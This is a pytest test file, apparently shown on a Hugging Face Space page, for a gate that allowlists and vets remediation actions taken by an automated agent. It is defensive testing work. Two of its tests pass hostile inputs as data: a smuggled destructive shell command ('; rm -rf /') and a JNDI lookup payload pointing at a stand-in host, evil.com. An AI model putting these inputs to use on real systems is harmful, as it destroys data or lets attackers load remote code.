Spaces:
Running on Zero
Running on Zero
File size: 4,414 Bytes
599eb60 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 | """
tests/test_quarantine.py — Unit tests for the frozen Quarantine gate.
These tests verify:
1. Valid actions pass through
2. Invalid action types are blocked with precise reasons
3. Invalid targets are blocked
4. High-risk actions on protected targets are blocked
5. Param type validation works
6. Prompt injection is detected
IMPORTANT: These tests are the regression suite for the frozen gate.
If any test in this file fails, it means the gate's logic has drifted.
The gate must never be modified by the memory system.
"""
import pytest
from agents.quarantine_agent import QuarantineAgent
@pytest.fixture
def gate():
return QuarantineAgent()
def test_valid_remediation_passes(gate):
"""Standard safe remediation should be allowed."""
allowed, reason = gate.check(
action_type="restart_service",
target="auth",
params={},
)
assert allowed is True
assert reason == ""
def test_valid_scale_up_passes(gate):
allowed, reason = gate.check(
action_type="scale_up",
target="user-service",
params={"factor": 2.0},
)
assert allowed is True
def test_invalid_action_type_blocked(gate):
"""Unknown action types must be blocked."""
allowed, reason = gate.check(
action_type="delete_database",
target="auth",
params={},
)
assert allowed is False
assert "delete_database" in reason
assert "allowlist" in reason
def test_invalid_target_blocked(gate):
"""Unknown targets must be blocked."""
allowed, reason = gate.check(
action_type="restart_service",
target="prod-db-primary",
params={},
)
assert allowed is False
assert "prod-db-primary" in reason
def test_high_risk_on_payment_blocked(gate):
"""restart_service on payment-service must be blocked (high-risk protected)."""
allowed, reason = gate.check(
action_type="restart_service",
target="payment-service",
params={},
)
assert allowed is False
assert "high-risk" in reason.lower() or "protected" in reason.lower()
def test_rollback_on_payment_blocked(gate):
"""rollback on payment-service must also be blocked."""
allowed, reason = gate.check(
action_type="rollback",
target="payment-service",
params={},
)
assert allowed is False
def test_scale_up_invalid_factor_blocked(gate):
"""scale_up with out-of-range factor must be blocked."""
allowed, reason = gate.check(
action_type="scale_up",
target="auth",
params={"factor": 100.0}, # way too high
)
assert allowed is False
assert "factor" in reason
def test_scale_up_non_numeric_factor_blocked(gate):
allowed, reason = gate.check(
action_type="scale_up",
target="auth",
params={"factor": "big"},
)
assert allowed is False
def test_increase_db_pool_invalid_size_blocked(gate):
"""pool_size outside [10, 500] should be blocked."""
allowed, reason = gate.check(
action_type="increase_db_pool",
target="user-service",
params={"pool_size": 5000},
)
assert allowed is False
assert "pool_size" in reason
def test_prompt_injection_detected(gate):
"""Shell metacharacters in params should be detected."""
allowed, reason = gate.check(
action_type="scale_up",
target="auth",
params={"factor": 2.0, "note": "; rm -rf /"},
)
assert allowed is False
assert "injection" in reason.lower() or "suspicious" in reason.lower()
def test_template_injection_detected(gate):
"""Template injection patterns should be detected."""
allowed, reason = gate.check(
action_type="restart_service",
target="auth",
params={"reason": "${jndi:ldap://evil.com/a}"},
)
assert allowed is False
def test_circuit_breaker_on_payment_allowed(gate):
"""circuit_breaker is NOT high-risk — should be allowed on payment-service."""
allowed, reason = gate.check(
action_type="circuit_breaker",
target="payment-service",
params={},
)
assert allowed is True
def test_increase_db_pool_valid(gate):
"""increase_db_pool with valid pool_size should pass."""
allowed, reason = gate.check(
action_type="increase_db_pool",
target="user-service",
params={"pool_size": 50},
)
assert allowed is True
|